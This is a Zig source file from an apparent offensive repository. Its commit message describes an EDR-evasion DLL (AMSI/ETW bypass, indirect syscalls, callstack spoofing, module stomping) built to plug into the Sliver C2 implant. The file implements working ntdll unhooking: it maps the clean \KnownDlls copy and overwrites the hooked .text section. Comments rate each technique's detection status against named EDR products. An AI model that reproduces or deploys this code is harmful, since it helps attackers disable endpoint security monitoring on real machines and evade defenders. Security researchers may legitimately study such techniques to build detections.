fe2726a430
evasion/ - zig dll with rc4 encrypted sleep, hwbp amsi/etw bypass, freshycalls indirect syscall dispatch, callstack spoofing via asm trampoline, ntdll unhooking, module stomping, token manipulation. all techniques verified against dbgman edr tradecraft (may 2026). ret patch removed (instant detection). comments updated with detection status on each technique. go-bridge/ - reflective pe loader + clean go api for sliver integration. drop this package into sliver's implant/ dir, replace time.sleep with evasionsleep. build: zig build -doptimize=releaseFast -> embed dll bytes
112 lines
4.8 KiB
Zig
112 lines
4.8 KiB
Zig
// NTDLL unhooking — maps clean .text from \KnownDlls section object, overwrites EDR hooks.
|
|
// Ref: https://ntdoc.m417z.com/ntopensection
|
|
// MITRE: T1562.001 (Disable or Modify Tools)
|
|
// DETECTION: Heavily signatured. DbgMan (May 2026): "CrowdStrike Falcon and SentinelOne
|
|
// deploy signature detection for the unhooking byte-sequence pattern. Microsoft Defender
|
|
// for Endpoint relies primarily on kernel callbacks and the ETW-TI provider rather than
|
|
// user-mode inline hooks, making the entire user-mode unhook step strategically irrelevant
|
|
// against MDE." Kept for environments without these EDRs. FreshyCalls (syscalls that
|
|
// bypass hooks without unhooking) is the preferred approach.
|
|
const std = @import("std");
|
|
const syscall = @import("syscall.zig");
|
|
const resolve = @import("resolve.zig");
|
|
const win = @import("win32.zig");
|
|
|
|
var g_unhooked: bool = false;
|
|
|
|
// Restores clean ntdll .text by mapping the \KnownDlls\ntdll.dll section object.
|
|
// EDR inline hooks live in the per-process ntdll copy. \KnownDlls holds the
|
|
// original unmodified image mapped at boot by the kernel as a section object.
|
|
// We map it into our process, copy clean .text over our hooked .text, and unmap.
|
|
pub fn unhookNtdll() void {
|
|
if (g_unhooked) return;
|
|
g_unhooked = true;
|
|
|
|
// Resolve ntdll base via ror13 hash (same as syscall.zig does)
|
|
const ntdll_hash = resolve.hash_ror13("ntdll.dll");
|
|
const our_base = resolve.get_module_by_hash(ntdll_hash) orelse return;
|
|
const our_bytes = @as([*]u8, @ptrCast(our_base));
|
|
|
|
// Parse PE headers to find .text bounds
|
|
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@alignCast(our_bytes)));
|
|
if (dos.e_magic != 0x5A4D) return;
|
|
|
|
const nt = @as(*align(1) extern struct {
|
|
Signature: u32,
|
|
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
|
|
OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 },
|
|
}, @ptrCast(@alignCast(our_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
|
if (nt.Signature != 0x00004550) return;
|
|
|
|
var text_va: usize = 0;
|
|
var text_size: usize = 0;
|
|
const section_off = dos.e_lfanew + 4 + 20 + 240;
|
|
const sections = @as([*]align(1) extern struct {
|
|
Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, pad: [12]u8, Characteristics: u32,
|
|
}, @ptrFromInt(@intFromPtr(our_bytes) + @as(usize, @intCast(section_off))));
|
|
for (0..nt.FileHeader.NumberOfSections) |i| {
|
|
if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) {
|
|
text_va = sections[i].VirtualAddress;
|
|
text_size = sections[i].VirtualSize;
|
|
break;
|
|
}
|
|
}
|
|
if (text_va == 0 or text_size == 0) return;
|
|
|
|
// Open \KnownDlls\ntdll.dll section object
|
|
const name = [_:0]u16{ '\\', 'K', 'n', 'o', 'w', 'n', 'D', 'l', 'l', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0 };
|
|
var us: win.UNICODE_STRING = .{
|
|
.Length = (@sizeOf(@TypeOf(name)) - 2),
|
|
.MaximumLength = @sizeOf(@TypeOf(name)),
|
|
.Buffer = @constCast(@ptrCast(&name)),
|
|
};
|
|
var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES);
|
|
oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES);
|
|
oa.ObjectName = &us;
|
|
oa.Attributes = win.OBJ_CASE_INSENSITIVE;
|
|
|
|
var section_handle: win.HANDLE = undefined;
|
|
if (!win.NT_SUCCESS(syscall.nt_open_section(§ion_handle, win.SECTION_MAP_READ, &oa)))
|
|
return;
|
|
defer _ = syscall.nt_close(section_handle);
|
|
|
|
// Map the section into our process
|
|
var view_base: ?*anyopaque = null;
|
|
var view_size: win.SIZE_T = 0;
|
|
_ = syscall.nt_map_view_of_section(
|
|
section_handle, syscall.nt_current_process(),
|
|
&view_base, 0, 0, null, &view_size, 2, // ViewUnmap = 2
|
|
0, win.PAGE_READONLY,
|
|
);
|
|
|
|
if (view_base != null and view_size >= text_size) {
|
|
// Copy clean .text from mapped section to our process's ntdll
|
|
const clean_base = @as([*]u8, @ptrCast(view_base));
|
|
const our_text = our_bytes[text_va .. text_va + text_size];
|
|
|
|
// Make our .text writable for the copy
|
|
var region_size: win.SIZE_T = text_size;
|
|
var old_prot: win.DWORD = 0;
|
|
var base_ptr: ?*anyopaque = @ptrCast(&our_bytes[text_va]);
|
|
if (!win.NT_SUCCESS(syscall.nt_protect_virtual_memory(
|
|
syscall.nt_current_process(),
|
|
&base_ptr, ®ion_size,
|
|
win.PAGE_READWRITE, &old_prot,
|
|
))) return;
|
|
|
|
@memcpy(our_text, clean_base[0..text_size]);
|
|
|
|
// Restore protection
|
|
base_ptr = @ptrCast(&our_bytes[text_va]);
|
|
region_size = text_size;
|
|
_ = syscall.nt_protect_virtual_memory(
|
|
syscall.nt_current_process(),
|
|
&base_ptr, ®ion_size,
|
|
win.PAGE_EXECUTE_READ, &old_prot,
|
|
);
|
|
}
|
|
|
|
// Cleanup
|
|
if (view_base) |b| _ = syscall.nt_unmap_view_of_section(syscall.nt_current_process(), b);
|
|
}
|